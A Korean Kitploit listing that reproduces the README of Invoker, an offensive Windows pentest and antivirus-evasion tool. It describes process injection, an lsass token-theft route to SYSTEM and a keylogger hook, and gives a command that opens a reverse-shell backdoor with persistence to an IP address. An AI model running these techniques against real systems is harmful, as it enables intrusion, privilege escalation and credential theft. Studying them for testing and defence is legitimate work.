Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
invoker — 침투 테스트 유틸리티 및 안티바이러스 평가 도구입니다. | Kitploit
도구/GitHubGitHub/ivan-sincek/invoker
Privilege EscalationMemory ForensicsExploitationPost-ExploitationPenetration TestingBinary AnalysisLearning & EducationRed TeamingPayload DevelopmentArchived
GitHubivan-sincek/invoker

invoker

침투 테스트 유틸리티 및 안티바이러스 평가 도구입니다.

3128263년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

Invoker

침투 테스트 유틸리티 및 안티바이러스 평가 도구.

Visual Studio Community 2022 v17.5.4 (64-bit)로 빌드되었으며 Windows 10 Enterprise OS (64-bit)에서 테스트되었습니다.

교육 목적으로 제작되었습니다. 도움이 되길 바랍니다!

이 저장소에는 알려진 시그니처가 존재하기 시작했으며, 새 실행 파일을 매번 업로드할 시간이 없으므로 이 프로젝트를 직접 컴파일해야 합니다.

유용한 웹사이트:

  • elastic.co
  • learn.microsoft.com
  • processhacker.sourceforge.io
  • undocumented.ntinternals.net
  • pinvoke.net

할 일:

  • NtCreateProcessEx가 32비트 프로세스에서 제대로 작동하지 않으므로 프로세스 고스팅(process ghosting)을 x86 아키텍처와 호환되도록 만듭니다.

향후 계획:

  • 프로세스 할로잉(process hollowing)
  • 프로세스 도플갱잉(process doppelgänging)
  • 프로세스 허퍼더핑(process herpaderping)
  • 프로세스 고스팅(process ghosting)
  • 더 많은 DLL 프록시 호출
  • COM 하이재킹
  • 전체 소스 코드를 정적으로 난독화하는 Python3 스크립트

코딩하면서 염두에 두는 사항:

  • 모든 것을 단순화합니다.
  • 정적 할당 대신 동적 할당을 사용합니다. (때때로)
  • 최소한의 필요한 액세스 권한 및 제어 플래그를 사용합니다.
  • 가능한 오류/예외를 처리/잡습니다(catch).
  • 사용 후 배열과 메모리를 0으로 초기화하고 해제합니다.
  • 사용 후 열린 핸들/스트림을 적절히 닫습니다.
  • 사용 후 라이브러리, 객체 등의 참조 카운트를 감소시킵니다.
  • 종료 전에 가비지 클리너를 호출합니다. (해당 없음)

위의 모든 사항을 준수하면 PE의 크기가 작아지고 탐지율이 낮아집니다.

목차

  • Invoker 라이브러리
  • 실행 방법
  • 바이트코드 인젝션
  • 리버스 셸 페이로드 생성
  • PowerShell
  • 직접 시스템 호출
  • 훅 프로시저가 있는 DLL 만들기
  • LocalSystem 계정(NT AUTHORITY\SYSTEM) 얻기
  • 이미지

Invoker 라이브러리

기능:

  • 시스템 셸 호출
  • 직접 시스템 호출
  • WMI(Windows Management Instrumentation) 사용
  • 원격 호스트에 연결
  • 실행 중인 프로세스 종료
  • 새 프로세스 실행
  • 프로세스 메모리 덤프
  • 프로세스 실행 이미지 변조
  • 프로세스에 바이트코드 인젝션
  • 프로세스에 DLL 인젝션
  • 프로세스의 로드된 DLL 목록 조회
  • DLL 하이재킹 호출
  • 훅 프로시저 설치
  • 액세스 토큰 권한 활성화
  • 프로세스의 액세스 토큰 복제 및 새 프로세스 실행
  • 파일 다운로드
  • 레지스트리 키 추가/수정
  • 작업 예약
  • 인용되지 않은 서비스 경로 나열 및 서비스 시작/중지/재시작
  • 여러 System32 파일 교체

Invoker 라이브러리는 여기에서 확인하세요. 자유롭게 사용하세요!


일부 기능에는 관리자 권한이 필요할 수 있습니다.

일부 특정 액세스 권한 및 제어 플래그로 인해 일부 기능은 Windows XP 및 이전 버전에서 작동하지 않을 수 있습니다.

실행 방법

Invoker_x86.exe (32-bit) 또는 Invoker_x64.exe (64-bit)를 실행하세요.

리버스 셸 백도어를 자동화하고 지속성을 추가하려면 다음 명령을 실행하세요:

root@kitploit:~
Invoker_x64.exe 192.168.8.5:9000

32비트 Invoker가 할 수 있는 작업:

  • 직접 시스템 호출 만들기
  • 32비트 프로세스 메모리 덤프
  • 32비트 프로세스의 실행 이미지 변조 및 32비트 프로세스에 인젝션
  • 64비트 프로세스의 실행 이미지 변조 및 64비트 프로세스에 인젝션
  • 32비트 프로세스에 32비트 바이트코드 인젝션
  • 32비트 프로세스에 32비트 DLL 인젝션
  • 32비트 프로세스의 로드된 DLL 목록 조회
  • 32비트 DLL에서 훅 프로시저 설치

64비트 Invoker가 할 수 있는 작업:

  • 직접 시스템 호출 만들기
  • 32비트 프로세스 메모리 덤프
  • 64비트 프로세스 메모리 덤프
  • 32비트 프로세스의 실행 이미지 변조 및 32비트 프로세스에 인젝션
  • 64비트 프로세스의 실행 이미지 변조 및 64비트 프로세스에 인젝션
  • 32비트 프로세스에 32비트 바이트코드 인젝션
  • 64비트 프로세스에 64비트 바이트코드 인젝션
  • 32비트 프로세스에 32비트 DLL 인젝션
  • 64비트 프로세스에 64비트 DLL 인젝션
  • 32비트 프로세스의 로드된 DLL 목록 조회
  • 64비트 프로세스의 로드된 DLL 목록 조회
  • 32비트 DLL에서 훅 프로시저 설치
  • 64비트 DLL에서 훅 프로시저 설치

각 인젝션 기술에는 장단점이 있습니다. 예를 들어 일부 기술은 더 적은 액세스 권한이 필요하고 덜 의심스러운 방법을 사용하지만, 프로세스가 중단되거나 페이로드를 실행하는 데 시간과 특수 조건이 필요할 수 있습니다.

일부 C2C 임플란트는 메모리 해제 후 작동하지 않을 수 있습니다. 이 경우 VirtualFreeEx, NtFreeVirtualMemory 등의 메서드를 주석 처리하세요.

바이트코드 인젝션

더 높은 권한의 프로세스에 바이트코드를 인젝션하여 권한을 상승시킵니다.

이 도구는 메모리 내에서 바이너리 파일의 내용을 다운로드하고 실행 중인 프로세스에 인젝션할 수 있습니다. 또한 HTTP 응답을 구문 분석하고 사용자 정의 요소에서 페이로드를 추출할 수 있습니다. 예를 들어 <invoker>payload</invoker>에서 payload는 Base64로 인코딩된 바이너리 코드입니다.

예제는 pastebin.com/raw/xf9Trt0d에서 확인하세요.

안티바이러스가 로컬 페이로드를 지속적으로 삭제하는 경우 유용합니다.

추가 예제는 pastebin.com/raw/iW17rCxH에서 확인하세요 - 이미지 요소에 숨겨진 페이로드.

참고: 제공된 바이트코드는 대부분의 경우 작동하지 않을 것입니다.

로컬 웹 서버에 공개 주소를 제공하려면 ngrok을 사용하세요.


프로세스가 32비트인지 64비트인지 확인하려면 작업 관리자를 열고 '자세히'를 클릭한 후 '세부 정보' 탭으로 이동하여 열 머리글을 마우스 오른쪽 버튼으로 클릭하고 '열 선택'을 클릭한 후 '플랫폼' 확인란을 선택하세요.

프로세스가 관리자 권한으로 실행 중인지 확인하려면 '높음' 확인란을 선택하세요.

리버스 셸 페이로드 생성

리버스 셸 페이로드를 생성하는 방법과 Ncat 및 multi/handler 리스너를 설정하는 방법은 다른 프로젝트에서 확인하세요.

바이트코드 인젝션은 바이트코드에 잘못된 문자, 잘못된 종료 함수 또는 인코딩 문제가 있을 경우 실패할 수 있습니다. DLL 인젝션이 더 안정적입니다.

PowerShell

Invoker에서 PowerShell 리버스 또는 바인드 셸을 실행하려면 Invoker를 열고 PowerShell 세션을 시작한 후 다른 프로젝트의 원라이너를 실행하세요.

직접 시스템 호출

직접 시스템 호출 라이브러리와 어셈블리는 SysWhispers2로 생성되었습니다. 저자에게 감사드립니다!

동일한 라이브러리와 어셈블리를 생성하려면 선호하는 콘솔에서 다음 명령을 실행하세요:

root@kitploit:~
python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls

라이브러리와 어셈블리에 대한 래퍼는 여기에서 확인하세요. 자유롭게 사용하세요!

훅 프로시저가 있는 DLL 만들기

훅 프로시저가 있는 간단한 DLL은 여기에서 확인하세요. 훅 프로시저는 각 창이 닫힐 때 메시지 박스를 호출합니다.

키보드 훅 프로시저(키로거)는 여기에서 확인하세요.

첫 번째 마우스 클릭 시 새 프로세스를 실행하는 마우스 훅 프로시저는 여기에서 확인하세요.

테스트가 끝난 후 생성된 모든 아티팩트(예: keylogger.log)를 제거하는 것을 잊지 마세요.

LocalSystem 계정(NT AUTHORITY\SYSTEM) 얻기

다음 간단한 단계를 따르세요:

  1. Invoker를 관리자로 실행합니다.
  2. 모든 액세스 토큰 권한을 활성화합니다.
  3. 예를 들어 Local Security Authority Subsystem Service (lsass.exe)의 액세스 토큰을 복제하고 새 Invoker 인스턴스를 실행합니다.
  4. 새 Invoker 인스턴스에서 명령 프롬프트를 열고 whoami를 실행하면 이제 nt authority\system이 표시됩니다.
  5. 모든 액세스 토큰 권한을 다시 활성화합니다.
  6. 이전 Invoker 인스턴스를 닫습니다.

이미지

Invoker

그림 1 - Invoker

Bytecode Injection

그림 2 - 바이트코드 인젝션

Elevated Privileges

그림 3 - 상승된 권한

도구 다운로드